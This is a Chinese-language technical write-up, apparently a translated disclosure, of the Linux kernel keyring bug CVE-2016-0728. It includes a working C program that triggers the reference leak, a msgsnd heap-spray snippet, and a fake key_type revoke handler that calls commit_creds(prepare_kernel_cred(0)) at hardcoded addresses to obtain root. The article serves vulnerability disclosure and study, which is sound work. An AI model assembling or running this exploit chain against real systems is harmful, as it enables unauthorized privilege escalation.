Linux内核漏洞CVE-2016-0728的分析与利用

        介绍

        Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机和服务器。其中有66%的设备是安卓设备(包括手机和平板电脑在内)。目前,我们和内核安全团队都没有发现任何针对此漏洞的攻击事件,我们建议安全团队对所有有可能受此漏洞影响的设备进行测试,并尽快发布相应的修复补丁。

        在这篇文章中,我们将会对此漏洞的技术细节进行讨论,并且还会讨论通过这个漏洞来实现内核代码执行的相关技术。最后,我们还会给大家提供相应的概念验证实例,并给大家演示如何将本地用户提权至root用户。

        漏洞信息

        漏洞CVE-2016-0728是由相关keyring功能中的引用泄漏所引起的。在我们深入了解该漏洞的详细信息之前,我们还需要了解一些基础背景知识。

        在这里,我们直接引用帮助手册中的内容。驱动器在内核中保存或缓存安全数据、认证密钥、加密密钥和一些其他的数据时,必须使用到keyring功能。系统会调用接口-keyctl(当然了,系统中还存在另外两个系统调用,系统会使用这些系统调用来处理密钥:add_key和request_key,但keyctl绝对是这篇文章中最重要的。),在这个功能的帮助下,用户空间中的程序就可以管理相应的对象,并且使用这一机制来满足不同程序所需实现的不同功能。

        每一个进程都可以使用keyctl(全名为KEYCTL_JOIN_SESSION_KEYRING)来为当前的会话创建相应的keyring,而且还可以为keyring指定名称,如果不需要指定名称的话,传入NULL参数即可。通过引用相同的keyring名称,程序就可以在不同进程间共享keyring对象了。如果某一进程已经拥有一个会话keyring了,那么这个系统调用便会为其创建一个新的keyring,并替换掉原有的keyring。如果某一对象被多个进程所使用,那么该对象的内部引用计数(该信息存储在一个名为“usage”的数据域中)将会自动增加。当进程尝试使用相同的keyring替换其当前的会话keyring时,泄漏就发生了。我们可以在下面所给出的代码段(代码段来源于内核版本为3.18的Linux内核)中看到,程序的执行将会直接跳转至error2标签处,这样就跳过了key_put函数的调用,并泄漏了keyring的引用信息(由函数find_keyring_by_name生成)。

long join_session_keyring(const char *name)
{
 ...
       new = prepare_creds();
 ...
       keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments  keyring->usage if a keyring was found
       if (PTR_ERR(keyring) == -ENOKEY) {
               /* not found - try and create a new one */
               keyring = keyring_alloc(
                       name, old->uid, old->gid, old,
                       KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
                       KEY_ALLOC_IN_QUOTA, NULL);
               if (IS_ERR(keyring)) {
                       ret = PTR_ERR(keyring);
                       goto error2;
               }
       } else if (IS_ERR(keyring)) {
               ret = PTR_ERR(keyring);
               goto error2;
       } else if (keyring == new->session_keyring) {
               ret = 0;
               goto error2; //<-- The bug is here, skips key_put.
       }
       /* we've got a keyring - now install it */
       ret = install_session_keyring_to_cred(new, keyring);
       if (ret < 0)
               goto error2;
       commit_creds(new);
       mutex_unlock(&key_session_mutex);
       ret = keyring->serial;
       key_put(keyring);
okay:
       return ret;
error2:
       mutex_unlock(&key_session_mutex);
error:
       abort_creds(new);
       return ret;
}

        在用户空间中触发这个漏洞是非常容易的,我们可以在下列的代码段中看到:

/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
    return 0;
}

        这样一来,我们便能够得到下列输出信息,这些信息中包含有泄漏的keyring引用信息:

        漏洞利用

        我们需要注意的是,这个漏洞能够直接引起内存泄漏,除此之外,它还能引起很多更加严重的问题。我们在对相关代码段进行了简要的分析之后,我们发现用于存储相应对象引用计数的“usage”数据域其类型为atomic_t,这种类型可以算是int类型,即无论在32位还是64位架构的系统中,其长度都是32位。因为每一个整数从理论上来说都是有可能溢出的,所以这一发现也就验证了在该漏洞的实际利用过程中,利用引用计数溢出这一机制似乎是可行的。幸运的是,在我们进行了分析之后发现,系统的确不会对“usage”数据域进行检测,也没有防止其中数据溢出的相关措施。

        如果某一进程引起了内核中某一对象的引用泄漏,那么就会使系统内核认为这个对象已经不再被使用了,并且会释放这个对象所占用的存储空间。如果该进程仍然存有该对象的另一个合法引用信息,并且在内核释放了目标对象之后使用了它,那么将会导致内核释放这条引用信息或者重新分配内存空间。这样一来,我们就可以通过这一漏洞来实现UAF(用后释放)。网络上有很多关于内核中用后释放漏洞的利用方法,大家可以自行搜索和学习,在此我们不再进行赘述。接下来的操作步骤对于一名经验丰富的漏洞研究人员而言,也许没有什么新鲜的东西了。漏洞利用代码所进行的主要操作如下:

1.得到一个密钥对象的(合法)引用信息;

2.使同一对象的“usage”数据域溢出;

3.释放keyring对象;

4.在之前使用的keyring对象所占的内存空间中,分配一个不同的内核对象(含有用户可控制的数据内容);

5.使用已释放keyring对象的引用信息来触发漏洞利用代码的执行;

        第一步操作的详细信息大家可以直接从操作手册中获取,步骤二我们也已经在文章中解释过了。接下来,我们将会对其他操作步骤的技术细节进行讨论。

        引用计数溢出

        这一步操作实际上是对这一漏洞的扩展。“usage”数据域是int类型,这也就意味着无论在32位还是64位架构的操作系统中,它所能保存的最大值均为2的32次方。为了让“usage”数据域发生溢出,我们必须对代码段进行2^32次循环,以此来让“usage”的值变为零。

        释放keyring对象

        我们有很多种方法能够释放存有引用计数的keyring对象。其中一种可能成功的方法就是:通过一个进程来使keyring的“usage”变为0,然后通过keyring子系统(该系统会释放所有引用计数为0的keyring对象)中的垃圾回收算法来释放目标对象。

        分配和控制内核对象

        当我们的进程指向了一个已经释放的keyring对象之后,我们就需要分配一个内核对象来覆盖这个之前已经释放了的keyring对象。多亏了SLAB内存分配机制,这一步骤实现起来非常的容易。其中的主要操作代码如下:

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("msgget");
    exit(1);
}
for (i = 0; i < 64; i++) {
    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
        perror("msgsnd");
        exit(1);
    }
}

        获得内核代码执行权限

        下列Linux内核代码段将会调用revoke函数。除此之外,我们还可以通过keyctl系统调用来引用Revoke函数指针。

void key_revoke(struct key *key)
{
       . . .
       if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
           key->type->revoke)
               key->type->revoke(key);
       . . .
}

        keyring对象中应该包含以下信息:

        相关代码段如下:

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
struct key_type_s {
    void * [12] padding;
    void * revoke;
} type;
_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;
void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
    ...
    struct key_type * my_key_type = NULL;
    ...
    my_key_type = malloc(sizeof(*my_key_type));
    my_key_type->revoke = (void*)userspace_revoke;
    ...
}

        我们在一台配有英特尔酷睿i7-5500 CPU的设备上进行了测试,整个测试过程花费了大约30分钟的时间,我们所得到的信息如下图所示:

        漏洞缓解方案&结论

        内核版本为3.8及其以上的Linux内核都会受到这个漏洞的影响。SMEP和SMAP从某种程度上来说可以给予用户提供一定的保护。也许我们会在之后的文章中讨论如何绕过这些缓解措施,但是现在迫在眉睫的事情就是尽快修复这个漏洞。

        感谢David Howells和Wade Mealing,以及整个红帽安全团队对这个漏洞所付出的努力。